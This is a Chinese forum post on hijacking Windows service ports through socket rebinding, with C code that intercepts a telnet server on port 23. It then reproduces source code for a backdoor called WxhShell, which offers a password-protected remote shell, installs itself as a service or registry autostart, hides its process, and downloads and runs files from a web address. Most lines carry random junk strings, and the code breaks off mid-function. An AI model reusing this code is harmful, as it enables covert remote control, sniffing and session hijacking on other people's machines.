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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d"tR ?j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z?@N+||,.  
Nt|Fw$3*5{  
  saddr.sin_family = AF_INET; *\Lr]6k  
:O7n*lwx  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); je`Inn<  
Ro_jfM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \hWac%#  
-zzoz x]S=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %NDr5E^cc  
_SnD)k+TgJ  
  这意味着什么?意味着可以进行如下的攻击: :=*V i`  
ZfXgVTJ`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `n RF"T_  
+{#L,0t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g2?yT ?  
Ae%AG@L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _\gCdNrD  
NwVhJdo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  c#f@v45  
"yc|ng  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I+,CiJ|4  
c^<~Y$i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]_j= { 0%  
>Q=Q%~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P;eXUF+jn  
B1A:}#  
  #include T!I3.  
  #include +KaVvf  
  #include pqTaN=R8  
  #include    R9  Y@I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ];'7~",Y  
  int main() z8XWp[K  
  { /I((A /ks  
  WORD wVersionRequested; yp[,WZt  
  DWORD ret; .%!^L#g  
  WSADATA wsaData; "}Ikx tee  
  BOOL val; %OsxXO?  
  SOCKADDR_IN saddr; BT`g'#O  
  SOCKADDR_IN scaddr; os7xwI;T  
  int err; ia (&$a8X  
  SOCKET s; r@}8TE*|P  
  SOCKET sc; FU(2,Vl  
  int caddsize; E3] 8(P%D-  
  HANDLE mt; * F_KOf9p  
  DWORD tid;   Y^nm{;G+  
  wVersionRequested = MAKEWORD( 2, 2 ); /=T:W*C  
  err = WSAStartup( wVersionRequested, &wsaData ); =\ k:]  
  if ( err != 0 ) { |MOz> 1<a  
  printf("error!WSAStartup failed!\n"); Uy.ihh$I-  
  return -1; ^^lx Ot  
  } :[CEHRc7x  
  saddr.sin_family = AF_INET; mlPvF%Ba  
   ` Z/ MQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e0#t  
'tDUPm38  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _''un3eCY  
  saddr.sin_port = htons(23); `H 'wz7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^KnK \  
  { BOh^oQh  
  printf("error!socket failed!\n"); EqGpo_  
  return -1; Sfa=AV7K  
  } 1*|/N}g)  
  val = TRUE; )Ay9 0Wt  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .lq83; k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &r,)4q+  
  { IA{W-RRb  
  printf("error!setsockopt failed!\n"); 6B*#D.fd*  
  return -1; Ndmw/ae  
  } f$tm<:)Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T:Ovh.$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7>f"4r_r6<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u:f.;?  
;4(}e{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x7Gf):,LK  
  { ktS^^!,l%  
  ret=GetLastError(); L|}s Z\2!  
  printf("error!bind failed!\n"); [ [w |  
  return -1; nMZ)x-  
  } qGX#(,E9;  
  listen(s,2); 5KDCmw  
  while(1) oH!O{pQK}  
  { ,QpFVlPU  
  caddsize = sizeof(scaddr); gWoUE7.3`  
  //接受连接请求 ~ rQ,%dH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?Pa(e)8\  
  if(sc!=INVALID_SOCKET) u>G9r#~`k  
  { 9zS   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x(xi%?G  
  if(mt==NULL) `R>z{-@=  
  { ,Si{]y  
  printf("Thread Creat Failed!\n"); Z1:%Aq xP  
  break; .Zj`_5C  
  } C\aHr!  
  } vf$IF|  
  CloseHandle(mt); +iFt)  
  } | oK9o6m4  
  closesocket(s); ~;a \S3  
  WSACleanup(); HsUh5;  
  return 0; @K+gh#  
  }   uo J0wG.  
  DWORD WINAPI ClientThread(LPVOID lpParam) f$6N  
  { h6OQeZ.  
  SOCKET ss = (SOCKET)lpParam; ]@ke_' "  
  SOCKET sc; EFljUT?&  
  unsigned char buf[4096]; G}^=(,jl  
  SOCKADDR_IN saddr; lgS7;  
  long num; L<0_e^8  
  DWORD val; ^=n7E  
  DWORD ret; $+_1F`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]wdE :k,D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R ZQH#+*t}  
  saddr.sin_family = AF_INET; ZJQFn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R y#C#0  
  saddr.sin_port = htons(23); ^/#G,MxNy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |bnYHP$!  
  { E:ci/09wD  
  printf("error!socket failed!\n"); Ie!&FQe2q  
  return -1; VQ| {Q}  
  } R-9o 3TPa  
  val = 100; +(92}~RK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z#-N$%^F  
  {  +:-xV  
  ret = GetLastError(); iiMS3ueF  
  return -1; y|KQ`;  
  } Xi) ;dcNJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?z#*eoPr  
  { hN6wp_  
  ret = GetLastError(); Qd kus 214  
  return -1; (C#0 ML  
  } H.4ISmXU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vm_]X{80;  
  { R|M]mwa^w  
  printf("error!socket connect failed!\n"); m^!j)\sM5  
  closesocket(sc); su%-b\8K  
  closesocket(ss); L r"cO|F  
  return -1; !zF0 7.(E  
  } Wn+s:o v  
  while(1) f^B'BioW(  
  { jaodcT0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _Ffg"xoC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 " WQ6[;&V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]zaTX?F:  
  num = recv(ss,buf,4096,0); IiqqdU]  
  if(num>0) _$c o Y  
  send(sc,buf,num,0); .,xyE--;d  
  else if(num==0) 3kC|y[.&  
  break; x4c|/}\)*  
  num = recv(sc,buf,4096,0); aYT!xdCI  
  if(num>0) pXO09L/nv  
  send(ss,buf,num,0); /X.zt `  
  else if(num==0) Lk,q~  
  break; 4tLdqs  
  } go AV+V7  
  closesocket(ss); 4~h 0/H"  
  closesocket(sc); 6384$mT,S  
  return 0 ; F+(S-Qk1  
  } .ZF%$H  
\{:A&X~\!  
jDb\4QyC  
========================================================== #J&3Zds  
hZ*vk  
下边附上一个代码,,WXhSHELL GkI'.  
:G@z?ZJ[  
========================================================== <hCO-r#  
B._YT   
#include "stdafx.h" 0H>gMXWE]  
1gkpK`u(B  
#include <stdio.h> /7#e  
#include <string.h> ">. k 6Q  
#include <windows.h> 0l[52eZ/  
#include <winsock2.h> sk39[9  
#include <winsvc.h> d-1D:Hs?  
#include <urlmon.h> dB6 ,pY(  
,H+Y1N4W(  
#pragma comment (lib, "Ws2_32.lib") yPtE5"(o  
#pragma comment (lib, "urlmon.lib") XN Uw  
4E5;wH  
#define MAX_USER   100 // 最大客户端连接数 D tZ?sG  
#define BUF_SOCK   200 // sock buffer f^1J_}cL  
#define KEY_BUFF   255 // 输入 buffer #;ObugY,  
r6uN6XCM  
#define REBOOT     0   // 重启 g&y (-  
#define SHUTDOWN   1   // 关机 zO"De~[9  
8b'@_s!_  
#define DEF_PORT   5000 // 监听端口 r'{N_|:vv  
Qf^c}!I  
#define REG_LEN     16   // 注册表键长度 |3e+ K.  
#define SVC_LEN     80   // NT服务名长度 63l& ihj  
zTB&Wlt  
// 从dll定义API u>9` ?O44  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vu.=,G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QyVAs;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )S+fc=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vx($o9  
XjL3Ar*  
// wxhshell配置信息 &j1-Ouy  
struct WSCFG { J1I,;WGf  
  int ws_port;         // 监听端口 njxLeD e-  
  char ws_passstr[REG_LEN]; // 口令 aBReIK o  
  int ws_autoins;       // 安装标记, 1=yes 0=no :<zIWje  
  char ws_regname[REG_LEN]; // 注册表键名 H5Eso*v@  
  char ws_svcname[REG_LEN]; // 服务名 :5&D 6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 37kFbR@x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 li3,6{S#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 46NuT]6/4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RVm-0[m}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o 7kg.w|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #&kj>   
Mw RLv,&"  
}; *h0D,O"0  
RN-gZ{AW  
// default Wxhshell configuration 1i$VX|r  
struct WSCFG wscfg={DEF_PORT, f#:3 TJV  
    "xuhuanlingzhe", %f&Y=  
    1, HBe*wkPd  
    "Wxhshell", Sk+XBX(}  
    "Wxhshell", [5L?#Y  
            "WxhShell Service", 1-E6ACq  
    "Wrsky Windows CmdShell Service", r9{@e^Em  
    "Please Input Your Password: ", -}UY2)  
  1, 7OmT^jV2  
  "http://www.wrsky.com/wxhshell.exe", ds!n l1  
  "Wxhshell.exe" B;N<{Gb  
    }; ULz<P  
bC:sd2s  
// 消息定义模块 x@q.u3o9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z S=H1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k)7i^ 1U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7oF3^K'S  
char *msg_ws_ext="\n\rExit."; {Cm!5QYy  
char *msg_ws_end="\n\rQuit."; ,L-/7}"VHA  
char *msg_ws_boot="\n\rReboot..."; <!RkkU& 6  
char *msg_ws_poff="\n\rShutdown..."; 34!.5^T  
char *msg_ws_down="\n\rSave to "; KX9IC 5pR  
7mYcO3{5{  
char *msg_ws_err="\n\rErr!"; j H2)8~P  
char *msg_ws_ok="\n\rOK!"; -(?/95 Y  
@-[}pZ/  
char ExeFile[MAX_PATH]; w~v6=^  
int nUser = 0; qzNb\y9G  
HANDLE handles[MAX_USER]; Jyg1z,B <  
int OsIsNt; ?SgFD4<~P  
WeRDaG  
SERVICE_STATUS       serviceStatus; #d$z W4ur2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GalSqtbmDt  
gNP1UH4m  
// 函数声明 Z(|$[GZP[  
int Install(void); 1+$F= M~  
int Uninstall(void); k"cMAu.  
int DownloadFile(char *sURL, SOCKET wsh); bgBvzV&'8  
int Boot(int flag); QD!NV*  
void HideProc(void); 9dA+#;?  
int GetOsVer(void); ?[ )}N _o#  
int Wxhshell(SOCKET wsl); 8d5#vm  
void TalkWithClient(void *cs); d)-ZL*o  
int CmdShell(SOCKET sock); ^yB]_*WJ  
int StartFromService(void); rd0Fd+t/  
int StartWxhshell(LPSTR lpCmdLine); vVo'f|fW  
3?V'O6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G@ ot^n3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JR]elRR  
0=HB!{ @  
// 数据结构和表定义 %HpPTjAW  
SERVICE_TABLE_ENTRY DispatchTable[] = 8[J%TWq%9  
{ `Z,WKus  
{wscfg.ws_svcname, NTServiceMain}, ek<B=F  
{NULL, NULL} of*T,MUI  
}; uQdH ():  
g^A^@~M  
// 自我安装 n+sv2Wv:  
int Install(void) 4_-&PZ,d  
{ 3LfF{ED@  
  char svExeFile[MAX_PATH]; R4;1LZ8XzS  
  HKEY key; wp1O*)/q  
  strcpy(svExeFile,ExeFile); qc,EazmU  
xwsl$Rj  
// 如果是win9x系统,修改注册表设为自启动 XlF,_  
if(!OsIsNt) { vaF1e:(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H.l0kBeG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q +l{> sL  
  RegCloseKey(key); (v?@evQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0-uj0"r`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aB~k8]q.  
  RegCloseKey(key);  m,+PYq  
  return 0; =I'iD0eR  
    } I>.pkf<V  
  } Td|,3 n  
} m33&obSP  
else { i5le0lM  
Jm CHwyUK?  
// 如果是NT以上系统,安装为系统服务 ? 0X$ox  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @Un/,-ck  
if (schSCManager!=0) UeCi{ W  
{ [/hoNCH!  
  SC_HANDLE schService = CreateService zu?112-v2  
  ( Ld_uMe?Z  
  schSCManager, LI}e_= E  
  wscfg.ws_svcname, )2y [#Blo  
  wscfg.ws_svcdisp, <$?#P#A  
  SERVICE_ALL_ACCESS, sT1OAK\^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ek5j;%~g1  
  SERVICE_AUTO_START, E7h@Y~bNhW  
  SERVICE_ERROR_NORMAL, cG0)F%?X?  
  svExeFile, l,Q`;v5|  
  NULL, r>8`g Ahx  
  NULL, Cw:|(`9  
  NULL, oO[eer_S-  
  NULL, qmpT G:+  
  NULL AoGpM,W]5  
  ); ?84f\<"  
  if (schService!=0) ~H\P0G5GA  
  { ]vcT2lr]  
  CloseServiceHandle(schService); /[Fk>Vhp  
  CloseServiceHandle(schSCManager); ^3sv2wh^|8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?pJ2"/K   
  strcat(svExeFile,wscfg.ws_svcname); D#'CRJh;7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $9\8?gS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HHw&BNQG  
  RegCloseKey(key); ][Tw^r&  
  return 0; {nSgiqd"28  
    } Bkq4V$D_  
  }  Yf[Cmn  
  CloseServiceHandle(schSCManager); $G0e1)D  
} uHquJQ4  
} YYI0iM>  
>,zU=I?9Y  
return 1; uu]C;wl  
} k2->Z);X  
*j(fk[,i  
// 自我卸载 ,DHH5sDCn  
int Uninstall(void) Q3+%8zZI  
{ zhow\l2t}  
  HKEY key; bh8GP]*E|  
]GRVU  
if(!OsIsNt) { hs+)a%A3G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2va[= >_  
  RegDeleteValue(key,wscfg.ws_regname); p?Ux1S  
  RegCloseKey(key); ]{i0?c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =4x6v<  
  RegDeleteValue(key,wscfg.ws_regname); ;LC|1_ '  
  RegCloseKey(key); !4^Lv{1QZ  
  return 0; }duqX R  
  } W)Y-^i5  
} &Pv$nMB$I  
} 6&E[hvu  
else { a>#$&&oQ0  
s0_HMP x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pT+OPOSR  
if (schSCManager!=0) 4avkyFj!h  
{ '9vsv\A&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OFv-bb*YZ  
  if (schService!=0) ;X;x.pi   
  { Z1W%fT  
  if(DeleteService(schService)!=0) { VZamR}x  
  CloseServiceHandle(schService); dXn$XGF%R  
  CloseServiceHandle(schSCManager); -k>k<bDAI  
  return 0; r.LOj6c  
  } CPsl/.$tC  
  CloseServiceHandle(schService); {1UU `d  
  } [xfg6  
  CloseServiceHandle(schSCManager); &>.QDO  
} :O,,fJ<x.O  
} uUBUUr  
Y._ACQG3  
return 1; Qe7 SH{  
} o^uh3,.  
Ia9!ucN7DA  
// 从指定url下载文件 ?o]NV  
int DownloadFile(char *sURL, SOCKET wsh) wuCZz{c7  
{ y4n~gTo(?  
  HRESULT hr; pIm ]WNX(  
char seps[]= "/"; 'Q7t5v@FF  
char *token; jfvlkE-uK  
char *file; #EKnjh=Uq  
char myURL[MAX_PATH]; e=jtF"&  
char myFILE[MAX_PATH]; qoph#\  
fk2Uxg=[  
strcpy(myURL,sURL); A&KY7[<AC{  
  token=strtok(myURL,seps); kot KKs   
  while(token!=NULL) <#Fex'4  
  { jtpk5 fJB  
    file=token; ept:<!4  
  token=strtok(NULL,seps); {9@E[bWp#  
  } DB jUHirK  
Q[`2? j?  
GetCurrentDirectory(MAX_PATH,myFILE); 2l+'p[b0>  
strcat(myFILE, "\\"); 02^\np  
strcat(myFILE, file); Zia6m[^Q  
  send(wsh,myFILE,strlen(myFILE),0); ex|)3|J  
send(wsh,"...",3,0); Sxy3cv53  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (/> yfL]J  
  if(hr==S_OK) {c1wJ  
return 0; LBpAR|  
else E>QEI;  
return 1; URh5ajoR%  
E}36  
} YSZ[~?+  
u91  
// 系统电源模块 Jx&+e,OST  
int Boot(int flag) x41t=E](  
{ "1P2`Ep;  
  HANDLE hToken; _ -ec(w~/  
  TOKEN_PRIVILEGES tkp; `Sj8IxO  
Frhm4H%,_R  
  if(OsIsNt) { bx".<q(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4g.S!-H@R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S[rfcL"  
    tkp.PrivilegeCount = 1; A}"uEk(R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oY@]&A^ah  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); </fTn_{2s8  
if(flag==REBOOT) { FzBny[F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,5sv;  
  return 0; 2NL|_W/  
} brn>FFAwO  
else { @:9mTP7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gr>FLf   
  return 0; YWq{?'AaR  
} @zix %x  
  } sg]g;U  
  else { @[rlwwG,  
if(flag==REBOOT) { [9p@uRE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mL, {ZL ^  
  return 0; B)-P# ,}  
} R?*-ZI[>w  
else { %#]/ ]B/4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?H!X p  
  return 0; 6>EoU-YX}l  
} =\<!kJ\yH  
} OBPiLCq  
twTRw:.!f  
return 1; cja-MljD  
} XoiZ"zE  
Lhgs|*M  
// win9x进程隐藏模块 g{7?#.7  
void HideProc(void) ><@& &u.  
{ 69C ss'  
KEr?&e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k .F(*kh  
  if ( hKernel != NULL ) IZ_ B $mo  
  { 9l7 youZ]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q[Tbdc%1EG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Nk>6:Ho{G  
    FreeLibrary(hKernel); 5g4c1K  
  } jmnrpXaAx  
jRdW=/q+(  
return; U09@pne8  
} 7.v{=UP  
~HgN'#Y?  
// 获取操作系统版本 ZW8;?# _  
int GetOsVer(void) DZ;2aH  
{ (WS<6j[q  
  OSVERSIONINFO winfo; xm<sH!,j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uFi[50  
  GetVersionEx(&winfo); y\[GS2nTX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a% 82I::t  
  return 1; &sPu 3.p  
  else Hkj| e6  
  return 0; O`(it %Ho!  
} O[')[uo8s  
gq?~*4H  
// 客户端句柄模块 >z8y L+  
int Wxhshell(SOCKET wsl) }(if|skau  
{ E{|n\|  
  SOCKET wsh; 9\NP)Vm$^  
  struct sockaddr_in client; 51M'x_8  
  DWORD myID; rxIYgh  
v]KI=!Gs  
  while(nUser<MAX_USER) mc5$-}1V,  
{ `?Xt ,  
  int nSize=sizeof(client); }A_>J7w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~f%AbDye  
  if(wsh==INVALID_SOCKET) return 1; cE]#23  
E;x~[MA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K,GX5c5  
if(handles[nUser]==0) ;%aWA  
  closesocket(wsh); ol8uV{:"  
else 6NqLo^ "g  
  nUser++; GUK3`}!%  
  } 4?&CK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S{ !m})1?  
gIXc-=Ut  
  return 0; A,#hYi=-,  
} zn{[]J  
Tn3f5ka'  
// 关闭 socket d "vd_}P~  
void CloseIt(SOCKET wsh) ('px X+  
{ pDx}~IB  
closesocket(wsh); z'}?mE3i  
nUser--; p}swJ;S  
ExitThread(0); NBZ>xp[U  
} Th//uI+  
}tZA7),L  
// 客户端请求句柄 >pl*2M&  
void TalkWithClient(void *cs) oE4hGt5x{  
{ 7dU7cc  
0=J69Yd  
  SOCKET wsh=(SOCKET)cs; U_,K_6vj  
  char pwd[SVC_LEN]; &U/~*{  
  char cmd[KEY_BUFF]; QCWk[Gx  
char chr[1]; cM'5m  
int i,j; 4) nQBFX  
dQL! >6a  
  while (nUser < MAX_USER) { OG}D;Ew  
QWGFXy,=1  
if(wscfg.ws_passstr) { !bCLi>8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &9'JHF!l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +nslS:(  
  //ZeroMemory(pwd,KEY_BUFF); I2=Kq{  
      i=0; R OQIw  
  while(i<SVC_LEN) { f?C !Br}  
Rx=pk  
  // 设置超时 57b;{kl  
  fd_set FdRead; way-Q7  
  struct timeval TimeOut; v)2@;Q  
  FD_ZERO(&FdRead); uQ.VW/>  
  FD_SET(wsh,&FdRead); r4qFEFV3%  
  TimeOut.tv_sec=8; SVo`p;2r  
  TimeOut.tv_usec=0; GS3ydN<v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7iKbd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yx}Z:t  
6A/|XwfE/v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0\U28zbMJw  
  pwd=chr[0]; M$gy J!Pb  
  if(chr[0]==0xd || chr[0]==0xa) { f i!wrvO  
  pwd=0; <`9:hPp0  
  break; \rf1#Em  
  } t>v']a +k  
  i++; EH$wW l^  
    } [P{Xg:0  
4"j5@bppJ  
  // 如果是非法用户,关闭 socket }H ,A T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %GS)9{T&  
} Urx gKTry  
&/, BFx"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3)g1e=\i$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s}9aZ  
Aq|LeH  
while(1) { <STjB,_s  
CsR~qQ 5  
  ZeroMemory(cmd,KEY_BUFF); uYMW5k_,>  
oci-[CI,  
      // 自动支持客户端 telnet标准   9HEc=,D|  
  j=0; 95wV+ q*  
  while(j<KEY_BUFF) { %r!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T+4Musu{V  
  cmd[j]=chr[0]; j`'=K_+nU  
  if(chr[0]==0xa || chr[0]==0xd) { W3 8 =fyD  
  cmd[j]=0; l>&)_:\  
  break; a4: PufS  
  } *G~c6B Z  
  j++; d*>M<6b-  
    } z4J-qK~2  
|ns^' q  
  // 下载文件 Qw5M\   
  if(strstr(cmd,"http://")) { C.(ZXU7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `?6m0|\@  
  if(DownloadFile(cmd,wsh)) L6A6|+H%E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sq)Nn&5A  
  else sX_^H%fd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !P92e1  
  } Cm ;N5i  
  else { 6y5arP*6e  
{2:H`|x  
    switch(cmd[0]) { %r!#  
  H[Pb Wy:  
  // 帮助 puqH%m+u  
  case '?': { >LU*F|F]B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [bOy, ^@4  
    break; >PGm}s_  
  } dF.T6b  
  // 安装 eNNgxQw>m  
  case 'i': { 0`ib_&yI  
    if(Install()) X}usyO'pW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7_Q86o  
    else \AK|~:\]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "?9fL#8f*!  
    break; $qrr]U  
    } sy@k3wQ  
  // 卸载 bo -Gh`  
  case 'r': { x)* /3[  
    if(Uninstall()) _RmE+Xg2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [X~X?By>  
    else 7e=a D~f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \qTn"1b Q  
    break; YHRI UY d  
    } &'](T9kg=  
  // 显示 wxhshell 所在路径 Nm081ic2<  
  case 'p': { <m6I)}K  
    char svExeFile[MAX_PATH]; p$%h!.~99T  
    strcpy(svExeFile,"\n\r"); }.gg!V'9w  
      strcat(svExeFile,ExeFile); ytC{E_  
        send(wsh,svExeFile,strlen(svExeFile),0); pM7BdMp   
    break; PvB?57wkF  
    } fVN}7PH7+  
  // 重启 $cy:G  
  case 'b': { /pge7P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,/ig8~u'c  
    if(Boot(REBOOT)) =}"hC`3e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 ?c1c  
    else { QNtr=  
    closesocket(wsh); IGqmH=-  
    ExitThread(0); s,29_z7  
    } p.\KmEx  
    break; Q:Ms D.  
    } .6;B3  
  // 关机 GB+d0 S4  
  case 'd': { &T|-K\*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z g j35  
    if(Boot(SHUTDOWN)) z$V8<&q  
